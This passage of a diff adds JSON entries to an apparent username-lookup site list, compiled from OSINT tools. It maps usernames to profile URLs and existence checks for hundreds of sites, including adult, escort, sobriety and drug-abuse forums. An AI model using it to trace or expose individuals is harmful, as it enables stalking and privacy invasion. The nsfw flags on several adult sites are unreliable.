"error_type": "status_code" + }, + { + "name": "super-warez-por.at.ua", + "url": "http://super-warez-por.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Supernaturalwiki", + "url": "https://supernaturalwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Superuser", + "url": "https://superuser.com/users?tab=Reputation&filter=all&search={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No users matched your search." + }, + { + "name": "Support_mozilla", + "url": "https://support.mozilla.org/en-US/user/{}", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found | Mozilla" + }, + { + "name": "survivalistboards.com", + "url": "https://survivalistboards.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Survivefrance", + "url": "https://survivefrance.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Suunto_Movescount_CLOSEDEAD", + "url": "http://www.movescount.com/ru/members/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "error=4&" + }, + { + "name": "Suzuki-club", + "url": "https://suzuki-club.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Suzuri.jp", + "url": "https://suzuri.jp/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>404 | SUZURI", + "match_string": "\u221e SUZURI\uff08\u30b9\u30ba\u30ea\uff09" + }, + { + "name": "svadba-orel.com", + "url": "http://svadba-orel.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svidbook", + "url": "https://www.svidbook.ru/user/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://www.svidbook.ru/user/{}/", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Svidbook", + "url": "https://svidbook.ru/user/{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user_profile" + }, + { + "name": "svoimirykami.ucoz.ru", + "url": "http://svoimirykami.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "svtperformance.com", + "url": "https://svtperformance.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swame", + "url": "https://swame.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "profile" + }, + { + "name": "Swapd", + "url": "https://swapd.co/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Swapfinder", + "url": "https://swapfinder.com/profile/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Swapfinder.com", + "match_string": "Profile on Swapfinder.com" + }, + { + "name": "swedroid.se", + "url": "http://swedroid.se/forum/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sweet Passion Escort", + "url": "https://www.sweet-passion-escort.de/en/models/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Could not find what you were looking for?", + "match_string": "book" + }, + { + "name": "Sweethome3d", + "url": "https://www.sweethome3d.com/support/forum/viewmember;?member={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " Error" + }, + { + "name": "SwimmingForum", + "url": "http://forumswimming.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syberpussy", + "url": "https://syberpussy.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "syberpussy.com", + "url": "https://syberpussy.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Syktforum", + "url": "http://syktforum.ru/profile/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0422\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442." + }, + { + "name": "SyktyvkarOnline", + "url": "http://syktyvkar-online.ru/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "symbian9.clan.su", + "url": "http://symbian9.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sysadmins", + "url": "https://sysadmins.ru/member{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Could not obtain user posts information" + }, + { + "name": "Sysprogs", + "url": "https://sysprogs.com/w/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sythe", + "url": "https://www.sythe.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Szerokikadr.pl", + "url": "https://www.szerokikadr.pl/profil,{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie masz jeszcze konta?", + "match_string": "Profil u\u017cytkownika" + }, + { + "name": "Szmer.info", + "url": "https://szmer.info/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Code: Couldn't find that username or email.", + "match_string": "Joined" + }, + { + "name": "T-MobileSupport", + "url": "https://support.t-mobile.com/people/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "t00ls", + "url": "https://www.t00ls.com/ajax.php?infloat=register&handlekey=register&action=checkusername&username={}&inajax=1&ajaxtarget=returnmessage4", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "tabletoptournament", + "url": "https://www.tabletoptournaments.net/eu/player/{}", + "category": "gaming", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "No player with the nickname", + "match_code": 200, + "match_string": "- Player Profile | T\u00b3 - TableTop Tournaments" + }, + { + "name": "Tabun", + "url": "https://tabun.everypony.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tachograph.ucoz.ru", + "url": "http://tachograph.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tagged", + "url": "https://secure.tagged.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "error_string": "Tagged - The social network for meeting new people", + "match_code": 200, + "match_string": "s Profile" + }, + { + "name": "Tagged", + "url": "https://www.tagged.com/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Tagged makes it easy", + "match_string": "https://tagged.com/{username}" + }, + { + "name": "takr-kiev.ucoz.com", + "url": "http://takr-kiev.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "talimger.org", + "url": "http://talimger.org/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talk", + "url": "https://talk.commonmark.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.jekyllrb.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.manvfat.com/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Talk", + "url": "https://talk.sleepapnea.org/u/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "talk.macpowerusers.com", + "url": "https://talk.macpowerusers.com/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TalkDrugabuse", + "url": "https://talk.drugabuse.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Talkingsober", + "url": "https://talkingsober.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talks.by", + "url": "https://talks.by/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Talkstats", + "url": "https://www.talkstats.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Tamboff", + "url": "http://www.tamboff.ru/forum/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435" + }, + { + "name": "TamTam", + "url": "https://tamtam.chat/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Pv3WuoqzAb05NxqHCgZ29Z2jmQ", + "match_string": "data-tsid=\"avatar\"" + }, + { + "name": "Tanks", + "url": "https://tanks.mail.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tanuki.pl", + "url": "https://tanuki.pl/profil/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie ma takiego u\u017cytkownika", + "match_string": "Do\u0142\u0105czy\u0142" + }, + { + "name": "TAP'D", + "url": "https://tapd.co/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist", + "match_string": "\"_id\":" + }, + { + "name": "TAPiTAG", + "url": "https://account.tapitag.co/tapitag/api/v1/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "The rf number is not valid", + "match_code": 200, + "match_string": "User details are Showing" + }, + { + "name": "Taplink", + "url": "https://taplink.cc/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tappy", + "url": "https://api.tappy.tech/api/profile/username/{}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "Profile of username Not Found", + "match_code": 200, + "match_string": "user_id" + }, + { + "name": "Taringa", + "url": "https://www.taringa.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "problema", + "match_string": "User" + }, + { + "name": "Taringa", + "url": "https://taringa.net/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "user-country" + }, + { + "name": "Taringa Archived Profile", + "url": "https://archive.org/wayback/available?url=https://www.taringa.net/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"archived_snapshots\": {}", + "match_code": 200, + "match_string": "\"archived_snapshots\": {\"closest\"" + }, + { + "name": "tarjaturunen.ucoz.ru", + "url": "http://tarjaturunen.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Taskrabbit", + "url": "https://www.taskrabbit.com/profile/{}/about", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TaskRabbit: Same Day Handyman, Moving & Delivery Services", + "match_string": "\u2019s Profile" + }, + { + "name": "Tasty Slips (underwear sales)", + "url": "https://tastyslips.com/en/vendors/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The website was not found. Feel free to check out tastyslips.com", + "match_string": ">About me" + }, + { + "name": "tatyana-art.ucoz.com", + "url": "http://tatyana-art.ucoz.com/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "tavr-obrazovanie.ru", + "url": "http://tavr-obrazovanie.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "taxi-belgorod.ucoz.ru", + "url": "http://taxi-belgorod.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tcrf", + "url": "https://tcrf.net/The_Cutting_Room_Floor/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Tddft", + "url": "https://tddft.org/programs/octopus/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tdo888.at.ua", + "url": "http://tdo888.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teakdoor", + "url": "https://teakdoor.com/members/{}.html", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "team-pros.3dn.ru", + "url": "http://team-pros.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teampedia", + "url": "https://teampedia.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Teamtreehouse", + "url": "https://teamtreehouse.com/{}", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, Something went missing", + "match_code": 200, + "match_string": "Member Since" + }, + { + "name": "teamtreehouse.com", + "url": "https://teamtreehouse.com/profiles/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Bummer! You must be logged in to access this page.", + "match_string": "Member Since" + }, + { + "name": "techcrunch", + "url": "https://techcrunch.com/author/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Techdirt", + "url": "https://www.techdirt.com/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": " | Techdirt" + }, + { + "name": "Techotopia", + "url": "https://techotopia.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "TechPowerUp", + "url": "https://www.techpowerup.com/forums/members/?username={}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Techrepublic", + "url": "https://www.techrepublic.com/members/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "techspot.com", + "url": "http://www.techspot.com/community//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teddygirls", + "url": "https://teddysgirls.net/models/{}", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you were looking for doesn't exist", + "match_code": 200, + "match_string": ";s exclusive page to subscribe to her" + }, + { + "name": "TEENUS", + "url": "http://www.teenus.info/kasutaja/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Viimati lisatud", + "match_string": "user-profile" + }, + { + "name": "Teespring", + "url": "https://commerce.teespring.com/v1/stores?slug={}", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "{\"errors\":{\"store\":[\"not found\"]}}", + "match_code": 200, + "match_string": "sellerToken" + }, + { + "name": "teflpedia.com", + "url": "https://teflpedia.com/User:{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tek-tips", + "url": "https://www.tek-tips.com/userinfo.cfm?member={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Teknik", + "url": "https://user.teknik.io/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The user does not exist", + "match_string": "Public Key" + }, + { + "name": "Telaviv-Escort (Telaviv)", + "url": "https://telaviv-escort.com/model/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "Ethnicity:" + }, + { + "name": "Telegram", + "url": "https://t.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "" + }, + { + "name": "Telepropusk", + "url": "https://telepropusk.ru/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "telescope.ac", + "url": "https://telescope.ac/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Not found", + "match_string": "og:site_name" + }, + { + "name": "Teletype", + "url": "https://teletype.in/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Television_linternaute", + "url": "https://television.linternaute.com/profile/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tellonym", + "url": "https://api.tellonym.me/profiles/name/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"code\":\"NOT_FOUND\"", + "match_code": 200, + "match_string": "\"id\":" + }, + { + "name": "Tellonym.me", + "url": "https://tellonym.me/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TemplateMonster", + "url": "https://www.templatemonster.com/authors/{}/", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "ErrorPage__title", + "match_string": "profile" + }, + { + "name": "Tenchat", + "url": "https://tenchat.ru/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tenor.com", + "url": "https://tenor.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 Error", + "match_string": "s GIFs on Tenor" + }, + { + "name": "Teplak", + "url": "http://www.teplak.ru/frm/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u0437\u0432\u0438\u043d\u0438\u0442\u0435, \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442" + }, + { + "name": "teplohorosho.ru", + "url": "http://teplohorosho.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminator", + "url": "http://terminator-scc.net.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terminatorium", + "url": "https://terminatorium.borda.ru/?32-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + }, + { + "name": "Termoshop", + "url": "https://termoshop.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "terralight.ucoz.ru", + "url": "http://terralight.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Terraria Forums", + "url": "https://forums.terraria.org/index.php?search/42798315/&c[users]={}&o=relevance", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "The following members could not be found" + }, + { + "name": "Test_pypi", + "url": "https://test.pypi.org/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "page\":0,\"totalMatches\":0" + }, + { + "name": "testwiki.wiki", + "url": "https://testwiki.wiki/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tetongravity", + "url": "https://www.tetongravity.com/forums/member.php/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Please wait" + }, + { + "name": "Tetr.io", + "url": "https://ch.tetr.io/api/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!", + "match_string": "success\":true" + }, + { + "name": "TETR.IO", + "url": "https://ch.tetr.io/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "No such user!" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Texasguntalk", + "url": "https://www.texasguntalk.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Tf2Items", + "url": "http://www.tf2items.com/id/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "TF2 Backpack Examiner", + "match_string": "TF2 Backpack -" + }, + { + "name": "Tfl.net.pl", + "url": "https://tfl.net.pl/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for isn't here.", + "match_string": "@tfl.net.pl" + }, + { + "name": "tfw2005.com", + "url": "http://www.tfw2005.com/boards//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Tfwiki", + "url": "https://tfwiki.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "tg.rip", + "url": "https://tg.rip/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "btn_label", + "match_string": "<title>\u0422\u0435\u043b\u0435\u0433\u0440\u0430\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + }, + { + "name": "tgi.3dn.ru", + "url": "http://tgi.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thaicat", + "url": "http://www.thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "thaicat.ru", + "url": "http://thaicat.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thatpervert", + "url": "https://thatpervert.com/user/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "Rating: " + }, + { + "name": "The AnswerBank", + "url": "https://www.theanswerbank.co.uk/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Welcome to the AnswerBank" + }, + { + "name": "The Erotic Review", + "url": "https://www.theeroticreview.com/reviews/newreviewsList.asp?Name={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>No records were found.</p>", + "match_string": "matches.</span>" + }, + { + "name": "the-mainboard.com", + "url": "http://the-mainboard.com/index.php/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theaquariumwiki", + "url": "https://theaquariumwiki.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theatre.my1.ru", + "url": "http://theatre.my1.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebeautybrains", + "url": "https://thebeautybrains.com/users/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebigboss", + "url": "http://thebigboss.org/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thebuddyforum", + "url": "https://www.thebuddyforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "theburningprocess.com", + "url": "http://www.theburningprocess.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thechessforum", + "url": "https://thechessforum.com/profile/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find something else.", + "match_string": "Posts By" + }, + { + "name": "Thechive", + "url": "https://thechive.com/author/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "THEcommunity", + "url": "https://thecommunity.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thedaftclub", + "url": "https://www.thedaftclub.com/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Thefastdiet", + "url": "https://thefastdiet.co.uk/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, " + }, + { + "name": "TheFastlaneForum", + "url": "https://www.thefastlaneforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thefastlaneforum", + "url": "https://www.thefastlaneforum.com/community/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Thefirearmsforum", + "url": "https://www.thefirearmsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found. Please enter a member's entire name." + }, + { + "name": "Thegatewaypundit", + "url": "https://www.thegatewaypundit.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Oops! That page can\u2019t be found.", + "match_string": "avatar avatar-50 photo" + }, + { + "name": "TheGuardian", + "url": "https://profile.theguardian.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>public profile | Identity | The Guardian" + }, + { + "name": "theguardian", + "url": "https://www.theguardian.com/profile/{}", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Page Not Found | The Guardian", + "match_code": 200, + "match_string": "

    " + }, + { + "name": "thehackerworld", + "url": "https://www.thehackerworld.com/profile/{}/", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Theinfosphere", + "url": "https://theinfosphere.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "thelike.ru", + "url": "http://thelike.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Thelion", + "url": "http://www.thelion.com/bin/profile.cgi?c=s&ru_name={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "We are sorry but the following error has occurred." + }, + { + "name": "ThemeForest", + "url": "https://themeforest.net/user/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "TheMovieDB", + "url": "https://www.themoviedb.org/u/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "thenextweb", + "url": "https://thenextweb.com/author/{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "TheOdysseyOnline", + "url": "https://www.theodysseyonline.com/user/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Theoutlander", + "url": "http://theoutlander.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Thephysicsforum", + "url": "https://www.thephysicsforum.com/members/{}.html", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This user has not registered and therefore does not have a profile to view." + }, + { + "name": "Theplenty", + "url": "https://theplenty.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "theprodigy", + "url": 